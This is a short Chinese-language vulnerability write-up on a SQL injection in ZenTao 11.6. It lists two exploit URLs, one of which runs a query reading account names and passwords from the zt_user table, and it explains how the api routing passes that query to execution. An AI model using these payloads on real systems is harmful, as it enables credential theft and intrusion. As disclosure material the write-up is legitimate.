禪道11.6 SQL注入漏洞

漏洞地址

http://xxx.xxx/zentaopms_11.6/www/api-getModel-user-getRealNameAndEmails-users=admin

http://xxx.xxx/zentaopms_11.6/www/api-getModel-api-sql-sql=select+account,password+from+zt_user

漏洞信息

最新版所採用的pathinfo模式:

首先通過傳參確定進入的control文件為api，對應的method為getModel，接著開始對參數進行賦值，其中moduleName為api，methodName=sql，最後的param為sql=select+account,password+from+zt_user，那麼調用了call_user_func_array函數後，會進入到api目錄下的model文件，對應調用其中的sql函數，並通過賦值，將sql變量賦值為select+ account,password+from+zt_user，最後執行query語句。